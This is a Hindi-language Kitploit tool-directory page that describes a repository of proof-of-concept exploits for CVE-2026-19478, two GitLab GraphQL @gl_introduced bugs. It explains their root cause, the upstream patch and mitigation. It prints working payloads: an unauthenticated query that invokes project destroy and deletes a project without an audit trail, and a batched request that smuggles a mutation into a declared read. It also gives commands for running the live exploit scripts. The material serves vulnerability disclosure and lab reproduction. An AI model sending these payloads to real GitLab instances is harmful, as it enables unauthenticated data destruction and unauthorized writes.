Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
cve-2026-19478 — दो GitLab GraphQL `@gl_introduced` डायरेक्टिव कमजोरियों के लिए PoC एक्सप्लॉइट और रूट-कॉज़ विश्लेषण प्रदान करता है: बिना प्रमाणीकरण के विधि निष्पादन और बैच्ड दस्तावेज़ स्वैप, अपस्ट्रीम पैच और लाइव साक्ष्य के साथ। | Kitploit
उपकरण/GitHubGitHub/n0xdaemon/cve-2026-19478
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणएपीआई सुरक्षा परीक्षणवेब सुरक्षा
GitHubn0xdaemon/cve-2026-19478

cve-2026-19478

दो GitLab GraphQL `@gl_introduced` डायरेक्टिव कमजोरियों के लिए PoC एक्सप्लॉइट और रूट-कॉज़ विश्लेषण प्रदान करता है: बिना प्रमाणीकरण के विधि निष्पादन और बैच्ड दस्तावेज़ स्वैप, अपस्ट्रीम पैच और लाइव साक्ष्य के साथ।

रिपॉजिटरी देखें
3 दिन पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-19478 — GitLab GraphQL @gl_introduced version-filter भेद्यताएँ

GitLab की GraphQL version-filter सुविधा (@gl_introduced directive) में दो संबंधित बगों के लिए एक reproduction lab। दोनों एक ही सुविधा क्षेत्र में रहते हैं, एक ही upstream patch द्वारा ठीक किए जाते हैं, और दोनों एक GraphQL अनुरोध को उन code paths तक पहुँचने देते हैं जिन्हें उसने कभी घोषित नहीं किया था:

  • फ़ॉलबैक-फ़ील्ड मेथड निष्पादन — एक एकल, अनप्रमाणित, non-batched क्वेरी किसी भी GraphQL प्रकार के पीछे स्थित मॉडल पर एक मनमाना शून्य-तर्क मेथड (जैसे destroy) आह्वान कर सकती है, केवल एक ऐसा फ़ील्ड नाम देकर जो मौजूद नहीं है और उसे @gl_introduced टैग करके।
  • क्रॉस-ऑपरेशन डॉक्यूमेंट स्वैप — batched (multiplex) अनुरोध में, एक ऑपरेशन का parsed query दस्तावेज़ दूसरे ऑपरेशन के रूप में swapped किया जा सकता है, जिससे एक स्लॉट जिसने हानिरहित read घोषित किया था, अंततः किसी दूसरे स्लॉट के mutation को निष्पादित करता है।
टूल डाउनलोड करें
प्रभावित18.2 → <18.11.11, 19.0 → <19.0.8, 19.1 → <19.1.6, 19.2 → <19.2.4
ठीक किया गया18.11.11, 19.0.8, 19.1.6, 19.2.4
लैब लक्ष्यgitlab/gitlab-ce:19.2.2-ce.0 (फिक्स से पहले का अंतिम build)
ट्रिगरGraphQL @gl_introduced directive, अकेले या batch के अंदर

रिपॉज़िटरी लेआउट

root@kitploit:~
docker-compose.yml               Live vulnerable target (GitLab CE 19.2.2), :8929
patch-19.2.2-to-19.2.4.diff      The upstream fix, version_filter only (the whole bug in ~60 lines)
harness/
  live_test_fallback.sh          PoC #1 -- live HTTP exploit, fallback-field method execution (unauthenticated)
  live_test.sh                   PoC #2 -- live HTTP exploit, cross-operation document swap
  run_poc.rb                     PoC #3 -- standalone, isolates the swap in plain graphql-ruby
  loader.rb                      Loads the real 19.2.2 (vuln) or 19.2.4 (patched) version_filter source
  Dockerfile                     Minimal ruby:3.3 runner for PoC #3 (no full GitLab needed)
src/
  common/                        Unchanged upstream files (shared by both variants) + demo schema
  vuln/                          Real 19.2.2 source of the files the patch touched
  patched/                       Real 19.2.4 source of the same files
evidence/
  live_vuln_fallback_field.txt   Captured output of PoC #1 against the live target
  live_vuln.txt                  Captured output of PoC #2 against the live target
  standalone_vuln.txt            Captured output of PoC #3 (vuln)
  standalone_patched.txt         Captured output of PoC #3 (patched)

src/ के अंतर्गत सब कुछ verbatim upstream स्रोत है, कभी पुनः कार्यान्वित नहीं किया गया — loader src/common के ऊपर src/vuln या src/patched ओवरले करता है।


1. मूल कारण

1a. फ़ॉलबैक फ़ील्ड → graphql-ruby की डिफ़ॉल्ट मेथड रिज़ॉल्यूशन

Gitlab::Graphql::VersionFilter::FutureFieldFallback एक क्वेरी को किसी प्रकार पर अभी मौजूद नहीं रहे फ़ील्ड को संदर्भित करने देता है, बिना अनुरोध असफल हुए — यह रोलिंग डिप्लॉय (rolling deploys) के लिए है, जहाँ एक पुराने नोड के स्कीमा में वह फ़ील्ड नहीं होता जो एक नए नोड में पहले से होता है। इसका get_field ओवरराइड जाँचता है कि अनुरोधित फ़ील्ड गायब है और अनुरोध contain_future_fields के रूप में चिह्नित है, और यदि ऐसा है तो raising करने के बजाय एक synthetic फ़ील्ड देता है:

root@kitploit:~
# src/vuln/.../future_field_fallback.rb
def get_field(field_name, context = GraphQL::Query::NullContext.instance)
  field = super
  return field unless future_field?(name: field_name, field: field, context: context)
  fallback_field(name: field_name)
end

def fallback_field(name:)
  GraphQL::Schema::Field.new(
    owner: self,
    name: name,
    type: GraphQL::Types::Boolean,
    fallback_value: nil
  )
end

समस्या: यह GraphQL::Schema::Field बिना किसी resolver method, resolver class, या block के बनाया गया है। फिर graphql-ruby का अपना डिफ़ॉल्ट फ़ील्ड रिज़ॉल्यूशन लागू होता है (graphql gem 2.6.3, lib/graphql/schema/field.rb):

root@kitploit:~
inner_object.public_send(@method_sym)

@method_sym फ़ील्ड का नाम है, underscore के साथ — यानी वास्तव में वही स्ट्रिंग जो हमलावर ने क्वेरी में डाली थी। यदि GraphQL प्रकार के पीछे का ऑब्जेक्ट (ActiveRecord मॉडल) उस नाम के साथ एक वास्तविक, शून्य-तर्क public मेथड रखता है, तो graphql-ruby उसे कॉल करता है और उसका (type-coerced) परिणाम लौटाता है। fallback_value: nil केवल तब लागू होता है जब मेथड वास्तव में मौजूद नहीं होता — यह किसी वास्तविक मेथड को चलने से रोकने के लिए कुछ नहीं करता।

इसलिए: किसी भी प्रकार से किसी वास्तविक विनाशकारी मेथड के नाम वाले फ़ील्ड के लिए क्वेरी करें — उदाहरण के लिए destroy — उसे @gl_introduced टैग करें ताकि वह निष्पादन तक जीवित रहे, और मेथड चल जाता है।

1b. क्रॉस-ऑपरेशन डॉक्यूमेंट स्वैप

IntroducedTracer version-filter सुविधा के शेष भाग को दो graphql-ruby trace hooks — parse (प्रति ऑपरेशन एक बार) और execute_query (प्रति ऑपरेशन एक बार) — में लागू करता है। भेद्य build में यह अपनी प्रति-ऑपरेशन स्थिति को trace ऑब्जेक्ट पर सामान्य instance variables में छिपाता है:

root@kitploit:~
# src/vuln/.../introduced_tracer.rb
def parse(query_string:)
  @original_query_document = super          # <-- shared ivar
  @contain_future_fields   = false
  filter = FutureFieldFilter.new(@original_query_document.dup)
  filter.visit.tap { @contain_future_fields = filter.contain_future_fields }
end

def execute_query(query:)
  return super unless @contain_future_fields
  query.instance_variable_set(:@document, @original_query_document)  # <-- swap
  query.send(:prepare_ast)
  query.context[:contain_future_fields] = @contain_future_fields
  super
end

समस्या: graphql-ruby एक multiplexed अनुरोध में हर ऑपरेशन के बीच एक ही trace instance साझा करता है, और किसी को निष्पादित करने से पहले उन सभी को parse करता है। तो दो-ऑपरेशन batch में:

  1. parse(op1) → @original_query_document = op1_doc, @contain_future_fields = false
  2. parse(op2) → @original_query_document = op2_doc, @contain_future_fields = true (op2 एक @gl_introduced future फ़ील्ड रखता है)

Parse करने के बाद, केवल अंतिम ऑपरेशन की स्थिति बचती है। फिर निष्पादन चलता है:

  1. execute_query(op1) → flag true है, इसलिए op1 का document op2_doc के साथ अधिलेखित (overwrite) हो जाता है और पुनः तैयार किया जाता है → op1 का स्लॉट op2 का ऑपरेशन चलाता है।

op1 ने एक read घोषित किया; यह op2 के write को निष्पादित करता है।

फिक्स

patch-19.2.2-to-19.2.4.diff दोनों को बंद करता है:

root@kitploit:~
# future_field_fallback.rb -- give the fallback field an explicit resolver,
# so graphql-ruby never falls through to public_send on the field name
resolver_class: Resolvers::NilResolver
# NilResolver#resolve just returns nil, unconditionally -- no dispatch at all

# introduced_tracer.rb -- key the stashed state by each operation's own
# filtered document instead of one shared ivar
@introduced_tracer_data[filtered_document] = { original_document:, contain_future_fields: }
# ...
doc_data = @introduced_tracer_data[query.document]   # no cross-operation bleed

2. एक्सप्लॉइट प्रवाह

2a. फ़ॉलबैक फ़ील्ड — एकल अनुरोध, बिना auth, बिना batching

root@kitploit:~
query {
  project(fullPath: "root/some-public-project") {
    id
    destroy @gl_introduced(version: "99.0.0")
  }
}

कोई Authorization हेडर नहीं। एक ही ऑपरेशन, कोई batch नहीं। destroy Project पर एक वास्तविक फ़ील्ड नहीं है — यह स्कीमा में बिल्कुल मौजूद नहीं है — लेकिन directive FutureFieldFilter को static validation से पहले इसे हटाने और निष्पादन के लिए contain_future_fields को सशस्त्र (arm) करने देती है, जहाँ get_field destroy नामक बिना-resolver वाला फ़ील्ड देता है और graphql-ruby project.public_send(:destroy) कॉल करता है।

लाइव सत्यापित (evidence/live_vuln_fallback_field.txt, तीन अलग-अलग disposable projects के खिलाफ तीन बार प्रतिकृति): एक सार्वजनिक project के खिलाफ भेजे जाने पर, प्रतिक्रिया {"data":{"project":{"id":"...","destroy":true}}} थी। एक अनुवर्ती प्रमाणित REST जाँच (GET /api/v4/projects/:id) ने 404 लौटाया — project वास्तव में गायब था। उस कॉल के लिए अनुरोध लॉग में 9 synchronous database writes और शून्य नई AuditEvent पंक्तियाँ दिखती हैं: कॉल Projects::DestroyService को पूरी तरह से बायपास करती है (और इसके साथ audit trail, webhooks और notifications को भी) — यह GraphQL की डिफ़ॉल्ट फ़ील्ड रिज़ॉल्यूशन के माध्यम से सीधे आह्वानित एक कच्चा ActiveRecord#destroy कैस्केड है।

2b. क्रॉस-ऑपरेशन डॉक्यूमेंट स्वैप — batch की आवश्यकता है

root@kitploit:~
sequenceDiagram
    participant A as Attacker
    participant C as GraphqlController
    participant T as IntroducedTracer (one shared instance)
    participant S as StarProject mutation

    A->>C: POST /api/graphql  [ {query: op1}, {query: op2} ]
    Note over A: op1 = query { currentUser { username } }   (declared read)<br/>op2 = mutation { starProject(...) { count @gl_introduced(version:"99.0.0") } }
    C->>T: parse(op1)
    Note over T: @original = op1_doc, future=false
    C->>T: parse(op2)
    Note over T: @original = op2_doc, future=TRUE  (overwrites op1 state)
    C->>T: execute_query(op1)
    T->>T: op1.@document = @original (op2_doc)#59; prepare_ast
    T->>S: run starProject  ← smuggled into the read slot
    S-->>A: slot 1 returns { starProject: { count } } #59; star state changed

Op2 payload — @gl_introduced directive को केवल एक वास्तविक फ़ील्ड पर बैठना होता है ताकि parse समय पर FutureFieldFilter contain_future_fields को बदल दे और स्वैप को सशस्त्र कर दे:

root@kitploit:~
mutation {
  starProject(input: { projectId: "gid://gitlab/Project/1", starred: false }) {
    count @gl_introduced(version: "99.0.0")
  }
}

लाइव सत्यापित (evidence/live_vuln.txt): slot 1, जिसने query { currentUser { username } } घोषित किया था, {"data":{"starProject":{"count":"0"}}} लौटाता है और project की star संख्या 1 → 0 हो जाती है।


3. PoCs चलाना

PoC #1 — लाइव HTTP एक्सप्लॉइट, फ़ॉलबैक-फ़ील्ड मेथड निष्पादन

root@kitploit:~
docker compose up -d          # first boot runs migrations; wait for healthy (~10 min)

GITLAB_URL=http://localhost:8929 \
GITLAB_TOKEN=<PAT with api scope -- used only to create/verify a disposable project> \
  bash harness/live_test_fallback.sh

स्क्रिप्ट प्रमाणित REST API के माध्यम से एक disposable public project बनाती है (केवल सेटअप), @gl_introduced टैग वाले destroy फ़ील्ड का नाम देते हुए एक अनप्रमाणित GraphQL क्वेरी भेजती है, फिर प्रमाणित REST के माध्यम से project की पुनः जाँच करती है। यदि project गायब है तो यह VULNERABLE घोषित करती है।

PoC #2 — लाइव HTTP एक्सप्लॉइट, क्रॉस-ऑपरेशन डॉक्यूमेंट स्वैप

root@kitploit:~
GITLAB_URL=http://localhost:8929 \
GITLAB_TOKEN=<PAT with api scope> \
PROJECT_FULL_PATH=root/cve-lab-target \
  bash harness/live_test.sh

स्क्रिप्ट आधारभूत star स्थिति पढ़ती है, दो-ऑपरेशन batch भेजती है, और यदि read-घोषित slot 1 starProject payload लौटाता है (और/या star संख्या बदलती है) तो VULNERABLE घोषित करती है।

PoC #3 — स्टैंडअलोन मूल कारण, डॉक्यूमेंट स्वैप (GitLab की आवश्यकता नहीं)

Gitlab::Graphql::VersionFilter को एक छोटे graphql-ruby ऐप में अलग करता है ताकि स्वैप बिना किसी GitLab शोर के दिखाई दे। वास्तविक अपस्ट्रीम स्रोत लोड करता है।

root@kitploit:~
docker build -t cve-2026-19478-poc -f harness/Dockerfile .
docker run --rm cve-2026-19478-poc harness/run_poc.rb vuln      # -> VULNERABLE
docker run --rm cve-2026-19478-poc harness/run_poc.rb patched   # -> SAFE

4. प्रभाव

दोनों वैक्टर gitlab/gitlab-ce:19.2.2-ce.0 के खिलाफ लाइव पुष्ट किए गए हैं। उनमें अलग-अलग प्राधिकरण जोखिम होते हैं क्योंकि वे GitLab स्टैक की विभिन्न परतों को प्रभावित करते हैं।

फ़ॉलबैक फ़ील्ड (1a): अनप्रमाणित, विनाशकारी पुष्ट

कोई token नहीं, कोई batching नहीं, एक क्वेरी। प्रतिक्रिया मेथड का परिणाम सीधे लौटाती है ("destroy": true), और अंतर्निहित रिकॉर्ड वास्तव में नष्ट हो जाता है — प्रमाणित REST (404) और सर्वर-साइड साक्ष्य (शून्य AuditEvent पंक्तियाँ, एक अनुरोध में 9 synchronous writes) के माध्यम से पुष्टि की गई, जिसका अर्थ है कि यह GitLab की सामान्य विलोपन सेवा को पूरी तरह से बायपास करता है। तीन अलग-अलग disposable projects के खिलाफ तीन बार स्वतंत्र रूप से प्रतिकृति की गई। कोई भी GraphQL प्रकार जिसका पृष्ठभूमि ऑब्जेक्ट एक वास्तविक शून्य-तर्क विनाशकारी मेथड उजागर करता है, एक उम्मीदवार है।

क्रॉस-ऑपरेशन स्वैप (1b): प्रमाणित पुष्ट; अनाम होने पर गेटेड

api scope वाले किसी भी token के साथ, एक ऑपरेशन जिसने read घोषित किया था, वह write निष्पादित करता है जिसके लिए उसने कभी नहीं पूछा (star संख्या 1 → 0, एक query-typed स्लॉट से प्रेरित)। बिना token भेजे, स्वैप फिर भी होता है — read स्लॉट starProject तक पहुँचता और उसे resolve करता है — लेकिन हर GitLab mutation Mutations::BaseMutation को इनहेरिट करता है, जिसका self.authorized? गेट निष्पादन समय पर चलता है:

root@kitploit:~
Ability.allowed?(context[:current_user], :execute_graphql_mutation, :global)

एक अनाम अनुरोध के लिए current_user nil है, और GlobalPolicy rule { anonymous }.policy { prevent :execute_graphql_mutation } करता है। 10 batch व्यवस्थाओं का सर्वेक्षण (क्रम, फ़ील्ड / सबफ़ील्ड / inline fragment पर directive, 2- और 3-ऑपरेशन batches) अनप्रमाणित: अपहृत स्लॉट हर बार गेट से टकराता है और star संख्या कभी नहीं बदलती।

यह गेट केवल mutations के लिए विशिष्ट है — इसका 1a पर कोई प्रभाव नहीं है, जो Mutations::BaseMutation को कभी नहीं छूता; फ़ॉलबैक फ़ील्ड एक सामान्य query-प्रकार फ़ील्ड के रूप में सीधे मॉडल पर resolve होता है, और रास्ते में कोई प्राधिकरण जाँच नहीं होती।

स्टैंडअलोन PoC (#3) 1b के लिए अनप्रमाणित क्यों दिखता है

src/common/demo_app.rb में कोई प्राधिकरण परत ही नहीं है — इसका mutation बस लिखता है। इसलिए PoC #3 एक auth-मुक्त सैंडबॉक्स में स्वैप तंत्र (एक read स्लॉट जो write करता है) प्रदर्शित करता है। वास्तविक GitLab उस execute_graphql_mutation गेट को लागू करता है जिसे डेमो छोड़ देता है — विशेष रूप से 1b के लिए। इस स्टॉक build पर, बिना क्रेडेंशियल्स के mutation-संचालित write अकेले 1b के माध्यम से प्राप्त नहीं है; यह 1a के माध्यम से प्राप्त है, जिसे किसी mutation की बिल्कुल आवश्यकता नहीं है।


5. शमन

18.11.11 / 19.0.8 / 19.1.6 / 19.2.4 या बाद के संस्करण में अपग्रेड करें। फिक्स (diff देखें) दो काम करता है: future_field_fallback.rb फ़ॉलबैक फ़ील्ड को graphql-ruby की डिफ़ॉल्ट मेथड डिस्पैच पर निर्भर रहने के बजाय एक स्पष्ट resolver (Resolvers::NilResolver, जो हमेशा nil लौटाता है) देता है, जिससे 1a बंद होता है; introduced_tracer.rb tracer की प्रति-ऑपरेशन स्थिति को एक साझा instance variable के बजाय प्रत्येक ऑपरेशन के अपने document तक सीमित करता है, जिससे 1b बंद होता है।